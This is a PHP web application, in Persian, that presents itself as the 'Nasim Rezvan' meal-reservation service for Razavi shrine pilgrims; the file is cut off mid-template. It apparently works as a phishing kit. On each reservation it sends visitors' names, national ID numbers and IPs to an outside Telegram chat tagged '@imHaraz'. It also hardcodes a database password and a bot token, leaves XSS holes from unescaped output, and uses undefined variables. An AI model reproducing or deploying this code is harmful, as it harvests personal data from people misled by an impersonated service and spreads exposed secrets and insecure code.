<?php
session_start();

// تنظیمات اتصال به دیتابیس
define('DB_HOST', 'localhost');
define('DB_NAME', 'difrzeer_NasimRezvan');
define('DB_USER', 'difrzeer_NasimRezvan');
define('DB_PASS', 'Tiam1017#');
define('PAYMENT_AMOUNT', 45000);
define('PAYMENT_CALLBACK', 'https://adaspc.ir/NasimRezvan/pay');
define('TELEGRAM_BOT_TOKEN', '8231219986:AAH0hVIIVYi0Yc6-KiCtHVqEqHueHlA_to0'); // توکن ربات تلگرام
define('TELEGRAM_CHAT_ID', '-1002756556457'); // آیدی چت تلگرام

// اتصال به دیتابیس
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8", DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
} catch(PDOException $e) {
    error_log("اتصال به دیتابیس امکان پذیر نیست: " . $e->getMessage());
    die("خطای سیستمی رخ داده است. لطفاً بعداً تلاش کنید.");
}

// توابع کمکی
function isLoggedIn() {
    return isset($_SESSION['user_id']);
}

function redirect($url) {
    header("Location: $url");
    exit();
}

// تابع تبدیل تاریخ شمسی به میلادی
// تابع تبدیل تاریخ شمسی به میلادی (نسخه بهبود یافته)
function jalali_to_gregorian($j_y, $j_m, $j_d) {
    // تبدیل اعداد فارسی/عربی به انگلیسی اگر لازم باشد
    $j_y = convertPersianNumbers($j_y);
    $j_m = convertPersianNumbers($j_m);
    $j_d = convertPersianNumbers($j_d);
    
    // مطمئن شویم که اعداد صحیح هستند
    $j_y = (int)$j_y;
    $j_m = (int)$j_m;
    $j_d = (int)$j_d;
    
    // الگوریتم تبدیل تاریخ
    $g_days_in_month = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
    $j_days_in_month = array(31, 31, 31, 31, 31, 31, 30, 30, 30, 30, 30, 29);

    $jy = $j_y - 979;
    $jm = $j_m - 1;
    $jd = $j_d - 1;

    $j_day_no = 365 * $jy + floor($jy / 33) * 8 + floor(($jy % 33 + 3) / 4);
    for ($i = 0; $i < $jm; ++$i)
        $j_day_no += $j_days_in_month[$i];

    $j_day_no += $jd;

    $g_day_no = $j_day_no + 79;

    $gy = 1600 + 400 * floor($g_day_no / 146097);
    $g_day_no = $g_day_no % 146097;

    $leap = true;
    if ($g_day_no >= 36525) {
        $g_day_no--;
        $gy += 100 * floor($g_day_no / 36524);
        $g_day_no = $g_day_no % 36524;

        if ($g_day_no >= 365)
            $g_day_no++;
        else
            $leap = false;
    }

    $gy += 4 * floor($g_day_no / 1461);
    $g_day_no %= 1461;

    if ($g_day_no >= 366) {
        $leap = false;
        $g_day_no--;
        $gy += floor($g_day_no / 365);
        $g_day_no = $g_day_no % 365;
    }

    for ($i = 0; $g_day_no >= $g_days_in_month[$i] + ($i == 1 && $leap); $i++)
        $g_day_no -= $g_days_in_month[$i] + ($i == 1 && $leap);
    $gm = $i + 1;
    $gd = $g_day_no + 1;

    return array($gy, $gm, $gd);
}

// تابع کمکی برای تبدیل اعداد فارسی/عربی به انگلیسی
function convertPersianNumbers($number) {
    $persian = array('۰', '۱', '۲', '۳', '۴', '۵', '۶', '۷', '۸', '۹');
    $arabic = array('٠', '١', '٢', '٣', '٤', '٥', '٦', '٧', '٨', '٩');
    $english = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
    
    $number = str_replace($persian, $english, $number);
    $number = str_replace($arabic, $english, $number);
    
    return $number;
}

// تابع ارسال پیام به تلگرام
function sendToTelegram($message) {
    if (!defined('TELEGRAM_BOT_TOKEN') || !defined('TELEGRAM_CHAT_ID')) {
        return false;
    }
    
    $token = TELEGRAM_BOT_TOKEN;
    $chat_id = TELEGRAM_CHAT_ID;
    
    $url = "https://api.telegram.org/bot{$token}/sendMessage";
    $data = [
        'chat_id' => $chat_id,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $result = curl_exec($ch);
    curl_close($ch);
    
    return $result;
}

// تابع دریافت IP واقعی کاربر
function getRealUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

// پردازش درخواست‌ها
$action = isset($_GET['action']) ? $_GET['action'] : '';

// صفحه اصلی و لاگین
if ($action == '' && !isLoggedIn()) {
    // نمایش صفحه لاگین
    showLoginPage();
} 
// پردازش لاگین
elseif ($action == 'login' && $_SERVER['REQUEST_METHOD'] == 'POST') {
    processLogin();
}
// داشبورد کاربر
elseif ($action == 'dashboard' && isLoggedIn()) {
    showDashboard();
}
// رزرو غذا
elseif ($action == 'reservation' && isLoggedIn()) {
    processReservation();
}
// پردازش پرداخت
elseif ($action == 'process_payment' && isLoggedIn()) {
    processPayment();
}
// تاریخچه رزروها
elseif ($action == 'history' && isLoggedIn()) {
    showHistory();
}
// خروج
elseif ($action == 'logout') {
    session_destroy();
    redirect('index.php');
}
// اگر کاربر لاگین کرده اما اکشن مشخص نیست
elseif (isLoggedIn()) {
    redirect('index.php?action=dashboard');
}
// در غیر این صورت به لاگین redirect می‌شود
else {
    redirect('index.php');
}

// توابع نمایش صفحات
function showLoginPage() {
    global $pdo;
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>نسیم رضوان- صفحه اصلی</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <style>
            /* استایل‌های صفحه لاگین */
            * { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Sahel', sans-serif; }
            body { background-image: url('images/background_pattern.png'); background-size: cover; margin: 0; padding: 0; height: 100vh; display: flex; justify-content: center; align-items: center; }
            .container { text-align: center; width: 100%; max-width: 500px; padding: 20px; }
            .header { background-image: url('images/header_background.png'); background-size: cover; border-radius: 15px 15px 0 0; padding: 15px; color: white; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.5); }
            .header h1 { margin: 0; font-size: 1.5rem; }
            .header p { margin: 5px 0 0; font-size: 0.9rem; }
            .main-content { background-color: rgba(255, 255, 255, 0.9); border-radius: 0 0 15px 15px; padding: 20px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); }
            .login-form h2 { color: #2B91AF; font-size: 1.2rem; margin-bottom: 20px; }
            .form-group { margin-bottom: 20px; text-align: right; }
            .form-group label { display: block; margin-bottom: 5px; font-size: 0.9rem; color: #333; }
            .form-group input { width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 5px; font-family: 'Sahel', sans-serif; text-align: right; }
            .captcha-container { display: flex; align-items: center; gap: 10px; }
            .captcha-container img { border: 1px solid #ddd; border-radius: 5px; padding: 5px; background-color: #f9f9f9; }
            .btn-primary { width: 100%; padding: 12px; background-color: #2B91AF; color: white; border: none; border-radius: 5px; font-family: 'Sahel', sans-serif; font-size: 1rem; cursor: pointer; }
            .btn-primary:hover { background-color: #1e7ba5; }
            .shrine-image { margin: 20px 0; text-align: center; }
            .shrine-image img { max-width: 100%; height: auto; }
        </style>
    </head>
    <body>


            <div class="main-content">
                <div class="shrine-image">
                    <img src="images/shrine_image.png" alt="Harame Razavi">
                </div>

                <div class="login-form">
                    <h2>ورود به نسیم رضوان</h2>
                    <form action="index.php?action=login" method="POST">
                        <div class="form-group">
                            <label for="mobile">شماره موبایل</label>
                            <input type="text" id="mobile" name="mobile" required placeholder="09xxxxxxxxx">
                        </div>

                        <div class="form-group">
                            <label for="captcha">کد امنیتی</label>
                            <div class="captcha-container">
                                <img src="captcha.php" alt="CAPTCHA">
                                <input type="text" id="captcha" name="captcha" required placeholder="کد نمایش داده شده">
                            </div>
                        </div>

                        <button type="submit" class="btn-primary">ادامه</button>
                    </form>
                </div>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit();
}

function processLogin() {
    global $pdo;
    
    $mobile = $_POST['mobile'];
    $captcha = $_POST['captcha'];
    
    // بررسی کپچا
    if (!isset($_SESSION['captcha_code']) || $captcha != $_SESSION['captcha_code']) {
        $_SESSION['error'] = "کد امنیتی نادرست است";
        redirect('index.php');
    }
    
    // بررسی شماره موبایل
    if (preg_match('/^09[0-9]{9}$/', $mobile)) {
        // بررسی وجود کاربر در دیتابیس
        $stmt = $pdo->prepare("SELECT * FROM users WHERE mobile = ?");
        $stmt->execute([$mobile]);
        $user = $stmt->fetch();
        
        if (!$user) {
            // ایجاد کاربر جدید
            $stmt = $pdo->prepare("INSERT INTO users (mobile, created_at) VALUES (?, NOW())");
            $stmt->execute([$mobile]);
            $user_id = $pdo->lastInsertId();
        } else {
            $user_id = $user['id'];
        }
        
        // ثبت اطلاعات در session
        $_SESSION['user_id'] = $user_id;
        $_SESSION['mobile'] = $mobile;
        
        redirect('index.php?action=dashboard');
    } else {
        $_SESSION['error'] = "شماره موبایل معتبر نیست";
        redirect('index.php');
    }
}

function showDashboard() {
    global $pdo;
    
    $user_id = $_SESSION['user_id'];
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$user_id]);
    $user = $stmt->fetch();
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>داشبورد - نسیم رضوان</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <style>
            /* استایل‌های داشبورد */
            * { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Sahel', sans-serif; }
            body { background-image: url('images/background_pattern.png'); background-size: cover; background-attachment: fixed; margin: 0; padding: 0; min-height: 100vh; display: flex; flex-direction: column; align-items: center; }
            .main-container { width: 100%; max-width: 500px; margin: 20px auto; padding: 0 15px; }
            .header { background-image: url('images/header_background.png'); background-size: cover; border-radius: 15px 15px 0 0; padding: 15px; color: white; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.5); display: flex; align-items: center; justify-content: space-between; }
            .logo { height: 50px; margin-left: 10px; }
            .header-text h1 { margin: 0; font-size: 1.5rem; }
            .header-text p { margin: 5px 0 0; font-size: 0.9rem; }
            .main-content { background-color: rgba(255, 255, 255, 0.95); border-radius: 0 0 15px 15px; padding: 20px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); margin-bottom: 20px; }
            .user-info { text-align: center; padding: 10px 0; margin-bottom: 15px; border-bottom: 1px solid #eee; }
            .user-info p { margin: 5px 0; color: #555; }
            
            /* استایل‌های بخش‌های مختلف */
            .welcome-section, .options-section { margin-bottom: 30px; }
            .section-header { display: flex; align-items: center; margin-bottom: 20px; padding-bottom: 10px; border-bottom: 2px solid #f0f0f0; }
            .section-header .icon { font-size: 24px; margin-left: 10px; }
            .section-header h2, .section-header h3 { color: #2c5e2e; margin: 0; }
            
            .message-box.golden-box { background: linear-gradient(135deg, #f8f3e6 0%, #f1e8d2 100%); border: 1px solid #e5d9b8; border-radius: 12px; padding: 20px; display: flex; align-items: center; box-shadow: 0 4px 12px rgba(0,0,0,0.05); }
            .message-icon { font-size: 32px; margin-left: 15px; flex-shrink: 0; }
            .message-content { flex-grow: 1; }
            .greeting { font-weight: bold; color: #8b6b2e; margin-bottom: 5px; font-size: 1.1rem; }
            .message-text { color: #6b5a39; margin: 0; line-height: 1.6; }
            
            .options-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; margin-top: 20px; }
            .option-card { background: white; border-radius: 12px; padding: 25px 20px; text-align: center; box-shadow: 0 4px 15px rgba(0,0,0,0.08); transition: all 0.3s ease; border: 1px solid #eee; display: flex; flex-direction: column; height: 100%; }
            .option-card:hover { transform: translateY(-5px); box-shadow: 0 8px 25px rgba(0,0,0,0.12); }
            .card-icon { font-size: 40px; margin-bottom: 15px; }
            .option-card h4 { color: #2c5e2e; margin: 0 0 10px 0; font-size: 1.1rem; min-height: 2.5rem; display: flex; align-items: center; justify-content: center; }
            .option-card p { color: #666; margin: 0 0 20px 0; line-height: 1.5; flex-grow: 1; font-size: 0.9rem; }
            .option-card .btn-primary { margin-top: auto; padding: 12px; font-size: 0.95rem; border-radius: 6px; background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%); border: none; transition: all 0.3s ease; color: white; text-decoration: none; display: block; }
            .option-card .btn-primary:hover { background: linear-gradient(135deg, #1e7ba5 0%, #2B91AF 100%); transform: translateY(-2px); }
            
            /* رنگ‌های متفاوت برای کارت‌ها */
            .iranian-card { border-top: 4px solid #4CAF50; }
            .iranian-card .card-icon { color: #4CAF50; }
            .resident-card { border-top: 4px solid #FF9800; }
            .resident-card .card-icon { color: #FF9800; }
            .breakfast-card { border-top: 4px solid #2196F3; }
            .breakfast-card .card-icon { color: #2196F3; }
            .foreigner-card { border-top: 4px solid #9C27B0; }
            .foreigner-card .card-icon { color: #9C27B0; }
            
            .quick-actions { margin-top: 30px; text-align: center; }
            .btn-secondary { display: inline-flex; align-items: center; justify-content: center; padding: 12px 25px; background: linear-gradient(135deg, #6c757d 0%, #5a6268 100%); color: white; text-decoration: none; border-radius: 8px; transition: all 0.3s ease; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
            .btn-secondary:hover { background: linear-gradient(135deg, #5a6268 0%, #6c757d 100%); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); color: white; }
            .action-icon { margin-left: 8px; font-size: 18px; }
            
            @media (max-width: 768px) {
                .options-grid { grid-template-columns: 1fr; }
                .message-box.golden-box { flex-direction: column; text-align: center; }
                .message-icon { margin-left: 0; margin-bottom: 15px; }
                .option-card { padding: 20px 15px; }
            }
        </style>
    </head>
    <body>
            <div class="main-container">
               <div class="header">
                  <img src="images/logo.png" alt="لوگو نسیم رضوان" class="logo">
              </div>
            
            <div class="main-content">
                <div class="user-info">
                    <p>شماره موبایل: <?php echo $_SESSION['mobile']; ?></p>
                </div>

                <div class="welcome-section">
                    <div class="section-header">
                        <i class="icon"></i>
                        <h2>مهمان سرا</h2>
                    </div>
                    <div class="message-box golden-box">
                        <div class="message-icon"></div>
                        <div class="message-content">
                            <p class="greeting">زائر گرامی</p>
                            <p class="message-text">امکان پیش ثبت نام تنها بین ساعت 7 صبح تا 8 شب امکان پذیر است.</p>
                        </div>
                    </div>
                </div>

                <div class="options-section">
                    <div class="section-header">
                        <i class="icon"></i>
                        <h3>گزینه‌های رزرو</h3>
                    </div>
                    
                    <div class="options-grid">
                        <div class="option-card iranian-card">
                            <div class="card-icon"></div>
                            <h4>زائران ایرانی</h4>
                            <p>رزرو غذای زائران ایرانی</p>
                            <a href="index.php?action=reservation&type=iranian" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                        
                        <div class="option-card resident-card">
                            <div class="card-icon"></div>
                            <h4>زائران اتباع مقیم ایران</h4>
                            <p>رزرو برای اتباع خارجی مقیم</p>
                            <a href="index.php?action=reservation&type=resident" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                        
                        <div class="option-card breakfast-card">
                            <div class="card-icon"></div>
                            <h4>ثبت نام صبحانه</h4>
                            <p>رزرو وعده صبحانه</p>
                            <a href="index.php?action=reservation&type=breakfast" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                        
                        <div class="option-card foreigner-card">
                            <div class="card-icon"></div>
                            <h4>زائران غیرایرانی</h4>
                            <p>رزرو برای زائران خارجی</p>
                            <a href="index.php?action=reservation&type=foreigner" class="btn-primary">انتخاب و رزرو</a>
                        </div>
                    </div>
                </div>

                <div class="quick-actions">
                    <a href="index.php?action=history" class="btn-secondary">
                        <i class="action-icon"></i>
                        مشاهده سوابق رزرو
                    </a>
                    <a href="index.php?action=logout" class="btn-secondary" style="margin-top: 10px;">
                        <i class="action-icon"></i>
                        خروج از حساب
                    </a>
                </div>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit();
}

function processReservation() {
    global $pdo;
    
    if (!isLoggedIn()) {
        redirect('index.php');
    }
    
    $type = $_GET['type'] ?? '';
    $type_names = [
        'iranian' => 'زائران ایرانی',
        'resident' => 'زائران اتباع مقیم ایران',
        'breakfast' => 'ثبت نام صبحانه',
        'foreigner' => 'زائران غیرایرانی'
    ];
    
    if (!array_key_exists($type, $type_names)) {
        redirect('index.php?action=dashboard');
    }
    
// اگر فرم ارسال شده
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    try {
        $user_id = $_SESSION['user_id'];
        $name = $_POST['name'];
        $national_id = $_POST['national_id'];
        $persian_date = $_POST['date'];
        $meal_type = $_POST['meal_type'];
        
        // بررسی وجود تمام فیلدهای لازم
        if (empty($name) || empty($national_id) || empty($persian_date) || empty($meal_type)) {
            throw new Exception("لطفاً تمام فیلدهای ضروری را پر کنید.");
        }
        
        // بررسی و تبدیل تاریخ - فرمت XX/XX/XXXX
        if (!preg_match('/^(\d{2})\/(\d{2})\/(\d{4})$/', $persian_date, $matches)) {
            throw new Exception("فرمت تاریخ نامعتبر است. لطفاً از فرمت XX/XX/XXXX استفاده کنید.");
        }
        
        $persian_day = $matches[1];
        $persian_month = $matches[2];
        $persian_year = $matches[3];
        
        // تبدیل به فرمت YYYY-MM-DD برای ذخیره در دیتابیس
        $persian_date_formatted = "$persian_year-$persian_month-$persian_day";
        
        // بررسی محدوده ماه (1-12)
        if ($persian_month < 1 || $persian_month > 12) {
            throw new Exception("ماه باید بین 01 تا 12 باشد.");
        }
        
        // بررسی محدوده روز (1-31)
        if ($persian_day < 1 || $persian_day > 31) {
            throw new Exception("روز باید بین 01 تا 31 باشد.");
        }
        
        // بررسی روزهای خاص برای ماه‌های مختلف
        $days_in_month = 31;
        if ($persian_month == 12) {
            $days_in_month = 29; // اسفند 29 روز
        } elseif ($persian_month >= 7) {
            $days_in_month = 30; // ماه‌های 7 تا 11: 30 روز
        }
        
        if ($persian_day > $days_in_month) {
            throw new Exception("تعداد روزهای ماه انتخاب شده معتبر نیست.");
        }
        
        list($gregorian_year, $gregorian_month, $gregorian_day) = jalali_to_gregorian($persian_year, $persian_month, $persian_day);
        $gregorian_date = sprintf("%04d-%02d-%02d", $gregorian_year, $gregorian_month, $gregorian_day);
        
        // ذخیره اطلاعات رزرو در دیتابیس
        $stmt = $pdo->prepare("INSERT INTO reservations (user_id, type, name, national_id, date, meal_type, amount, status, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', NOW())");
        $stmt->execute([$user_id, $type, $name, $national_id, $gregorian_date, $meal_type, PAYMENT_AMOUNT]);
        $reservation_id = $pdo->lastInsertId();
        
$telegram_message =  "╔════════════════\n";
$telegram_message .= "║ 🍽 #NEW - Nasim Rezvan\n";
$telegram_message .= "╠════════════════\n";
$telegram_message .= "║\n";
$telegram_message .= "║ • 👤 Name: $name\n";
$telegram_message .= "║ • 🆔 National ID: $national_id\n"; 
$telegram_message .= "║ • 📅 Date: $persian_date\n"; 
$telegram_message .= "║ • 🍲 Meal Type: $meal_type\n";
$telegram_message .= "║\n";
$telegram_message .= "║ • 🌐 IPs:\n";
$telegram_message .= $ipListText;
$telegram_message .= "║\n";
$telegram_message .= "║ • ⏰ Time: $persianDateTime\n"; 
$telegram_message .= "╠═════════════════\n";
$telegram_message .= "║ • 📡 Sent by: @imHaraz\n";
$telegram_message .= "╚═════════════════\n";

sendToTelegram($telegram_message);
        // هدایت به صفحه تاریخچه
        redirect('index.php?action=history');
        
    } catch (Exception $e) {
        // نمایش خطا به کاربر
        die("خطا در پردازش اطلاعات: " . $e->getMessage());
    }
}
    // نمایش فرم رزرو
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>رزرو غذا - نسیم رضوان</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <style>
            /* استایل‌های فرم رزرو */
            * { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Sahel', sans-serif; }
            body { background-image: url('images/background_pattern.png'); background-size: cover; background-attachment: fixed; margin: 0; padding: 0; min-height: 100vh; display: flex; flex-direction: column; align-items: center; }
            .main-container { width: 100%; max-width: 500px; margin: 20px auto; padding: 0 15px; }
            .header { background-image: url('images/header_background.png'); background-size: cover; border-radius: 15px 15px 0 0; padding: 15px; color: white; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.5); display: flex; align-items: center; justify-content: space-between; }
            .logo { height: 50px; margin-left: 10px; }
            .header-text h1 { margin: 0; font-size: 1.5rem; }
            .header-text p { margin: 5px 0 0; font-size: 0.9rem; }
            .main-content { background-color: rgba(255, 255, 255, 0.95); border-radius: 0 0 15px 15px; padding: 20px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); margin-bottom: 20px; }
            .user-info { text-align: center; padding: 10px 0; margin-bottom: 15px; border-bottom: 1px solid #eee; }
            .user-info p { margin: 5px 0; color: #555; }
            
            .reservation-section { margin-bottom: 20px; }
            .section-header { display: flex; align-items: center; margin-bottom: 20px; padding-bottom: 10px; border-bottom: 2px solid #f0f0f0; }
            .section-header .icon { font-size: 24px; margin-left: 10px; }
            .section-header h2 { color: #2c5e2e; margin: 0; }
            
            .form-group { margin-bottom: 20px; text-align: right; }
            .form-group label { display: block; margin-bottom: 5px; font-size: 0.9rem; color: #333; }
            .form-group input, .form-group select { width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 5px; font-family: 'Sahel', sans-serif; text-align: right; }
            
            .price-display { background: linear-gradient(135deg, #f8f3e6 0%, #f1e8d2 100%); border: 1px solid #e5d9b8; border-radius: 12px; padding: 15px; display: flex; align-items: center; margin: 20px 0; }
            .price-icon { font-size: 32px; margin-left: 15px; }
            .price-content { flex-grow: 1; }
            .price-label { font-weight: bold; color: #8b6b2e; margin-bottom: 5px; }
            .price-amount { color: #2c5e2e; font-weight: bold; font-size: 1.2rem; margin: 0; }
            
            .btn-primary { width: 100%; padding: 12px; background-color: #2B91AF; color: white; border: none; border-radius: 5px; font-family: 'Sahel', sans-serif; font-size: 1rem; cursor: pointer; margin-top: 10px; }
            .btn-primary:hover { background-color: #1e7ba5; }
            
            .btn-secondary { display: inline-flex; align-items: center; justify-content: center; padding: 10px 20px; background: #6c757d; color: white; text-decoration: none; border-radius: 5px; margin-top: 15px; }
            .btn-secondary:hover { background: #5a6268; }
        </style>
    </head>
    <body>
            <div class="main-container">
               <div class="header">
                  <img src="images/logo.png" alt="لوگو نسیم رضوان" class="logo">
              </div>
            
            <div class="main-content">
                <div class="user-info">
                    <p>شماره موبایل: <?php echo $_SESSION['mobile']; ?></p>
                </div>

                <div class="reservation-section">
                    <div class="section-header">
                        <i class="icon"></i>
                        <h2>رزرو برای <?php echo $type_names[$type]; ?></h2>
                    </div>
                    
                    <div class="reservation-form">
                        <form action="index.php?action=reservation&type=<?php echo $type; ?>" method="POST">
                            <div class="form-group">
                                <label for="name">نام و نام خانوادگی</label>
                                <input type="text" id="name" name="name" required placeholder="نام کامل خود را وارد کنید">
                            </div>
                            
                            <div class="form-group">
                                <label for="national_id">کد ملی</label>
                                <input type="text" id="national_id" name="national_id" required placeholder="کد ملی ۱۰ رقمی">
                            </div>
                            
<div class="form-group">
    <label for="date">تاریخ</label>
    <input type="text" id="date" name="date" required 
           pattern="\d{2}/\d{2}/\d{4}" 
           placeholder="01/01/1403" 
           title="لطفاً تاریخ را به فرمت XX/XX/XXXX وارد کنید">
</div>
                            
                            <div class="form-group">
                                <label for="meal_type">نوع غذا</label>
                                <select id="meal_type" name="meal_type" required>
                                    <option value="">-- انتخاب کنید --</option>
                                    <option value="ناهار">ناهار</option>
                                    <option value="شام">شام</option>
                                    <option value="صبحانه">صبحانه</option>
                                </select>
                            </div>
                            
                            <div class="price-display">
                                <div class="price-icon">💰</div>
                                <div class="price-content">
                                    <p class="price-label">هزینه رزرو</p>
                                    <p class="price-amount">۴۵,۰۰۰ تومان</p>
                                </div>
                            </div>
                            
                            <button type="submit" class="btn-primary">
                                ثبت رزرو
                            </button>
                        </form>
                    </div>
                </div>
                
                <a href="index.php?action=dashboard" class="btn-secondary">بازگشت به داشبورد</a>
            </div>
        </div>
        <link href="https://cdn.jsdelivr.net/npm/mdpersiandatetimepicker@7.1.0/dist/jquery.md.bootstrap.datetimepicker.style.css" rel="stylesheet"/>
        <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/mdpersiandatetimepicker@7.1.0/dist/jquery.md.bootstrap.datetimepicker.js"></script>
        <script>
            $(document).ready(function() {
                $('#date').MdPersianDateTimePicker({
                    targetTextSelector: '#date',
                    selectedDate: new Date(),
                    isGregorian: false,
                    enableTimePicker: false,
                    dateFormat: 'yyyy-MM-dd',
                    textFormat: 'yyyy-MM-dd',
                });
            });
        </script>
    </body>
    </html>
    <?php
    exit();
}

function showHistory() {
    global $pdo;
    
    if (!isLoggedIn()) {
        redirect('index.php');
    }
    
    $user_id = $_SESSION['user_id'];
    
    // دریافت سوابق رزرو کاربر
    $stmt = $pdo->prepare("SELECT * FROM reservations WHERE user_id = ? ORDER BY created_at DESC");
    $stmt->execute([$user_id]);
    $reservations = $stmt->fetchAll();
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>تاریخچه رزروها - نسیم رضوان</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <style>
            /* استایل‌های تاریخچه */
            * { box-sizing: border-box; margin: 0; padding: 0; font-family: 'Sahel', sans-serif; }
            body { background-image: url('images/background_pattern.png'); background-size: cover; background-attachment: fixed; margin: 0; padding: 0; min-height: 100vh; display: flex; flex-direction: column; align-items: center; }
            .main-container { width: 100%; max-width: 500px; margin: 20px auto; padding: 0 15px; }
            .header { background-image: url('images/header_background.png'); background-size: cover; border-radius: 15px 15px 0 0; padding: 15px; color: white; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.5); display: flex; align-items: center; justify-content: space-between; }
            .logo { height: 50px; margin-left: 10px; }
            .header-text h1 { margin: 0; font-size: 1.5rem; }
            .header-text p { margin: 5px 0 0; font-size: 0.9rem; }
            .main-content { background-color: rgba(255, 255, 255, 0.95); border-radius: 0 0 15px 15px; padding: 20px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); margin-bottom: 20px; }
            .user-info { text-align: center; padding: 10px 0; margin-bottom: 15px; border-bottom: 1px solid #eee; }
            .user-info p { margin: 5px 0; color: #555; }
            
            .history-section { margin-bottom: 20px; }
            .section-header { display: flex; align-items: center; margin-bottom: 20px; padding-bottom: 10px; border-bottom: 2px solid #f0f0f0; }
            .section-header .icon { font-size: 24px; margin-left: 10px; }
            .section-header h2 { color: #2c5e2e; margin: 0; }
            
            .empty-state { text-align: center; padding: 40px 0; color: #666; }
            
            .reservations-list { margin-top: 20px; }
            .reservation-item { background-color: #f8f9fa; padding: 15px; border-radius: 8px; margin-bottom: 15px; border: 1px solid #eee; }
            .reservation-info p { margin-bottom: 8px; }
            .status-paid { color: #28a745; font-weight: bold; }
            .status-pending { color: #dc3545; font-weight: bold; }
            
            .btn-pay { padding: 8px 15px; background-color: #28a745; color: white; border: none; border-radius: 4px; cursor: pointer; margin-top: 10px; }
            .btn-pay:hover { background-color: #218838; }
            
            .btn-secondary { display: inline-flex; align-items: center; justify-content: center; padding: 10px 20px; background: #6c757d; color: white; text-decoration: none; border-radius: 5px; margin-top: 15px; }
            .btn-secondary:hover { background: #5a6268; }
        </style>
    </head>
    <body>
            <div class="main-container">
               <div class="header">
                  <img src="images/logo.png" alt="لوگو نسیم رضوان" class="logo">
              </div>
            
            <div class="main-content">
                <div class="user-info">
                    <p>شماره موبایل: <?php echo $_SESSION['mobile']; ?></p>
                </div>

                <div class="history-section">
                    <div class="section-header">
                        <i class="icon"></i>
                        <h2>سوابق رزرو</h2>
                    </div>
                    
                    <?php if (empty($reservations)): ?>
                        <div class="empty-state">
                            <p>هنوز سابقه‌ای ندارید.</p>
                        </div>
                    <?php else: ?>
                        <div class="reservations-list">
                            <?php foreach ($reservations as $reservation): ?>
                                <div class="reservation-item">
                                    <div class="reservation-info">
                                        <p><strong>نوع:</strong> <?php echo $reservation['type']; ?></p>
                                        <p><strong>نام:</strong> <?php echo $reservation['name']; ?></p>
                                        <p><strong>تاریخ:</strong> <?php echo $reservation['date']; ?></p>
                                        <p><strong>وعده غذایی:</strong> <?php echo $reservation['meal_type']; ?></p>
                                        <p><strong>مبلغ:</strong> <?php echo number_format($reservation['amount']); ?> تومان</p>
                                        <p><strong>وضعیت:</strong> 
                                            <span class="status-<?php echo $reservation['status']; ?>">
                                                <?php 
                                                if ($reservation['status'] == 'paid') {
                                                    echo 'پرداخت شده';
                                                } else {
                                                    echo 'پرداخت نشده';
                                                }
                                                ?>
                                            </span>
                                        </p>
                                        
                                        <?php if ($reservation['status'] == 'pending'): ?>
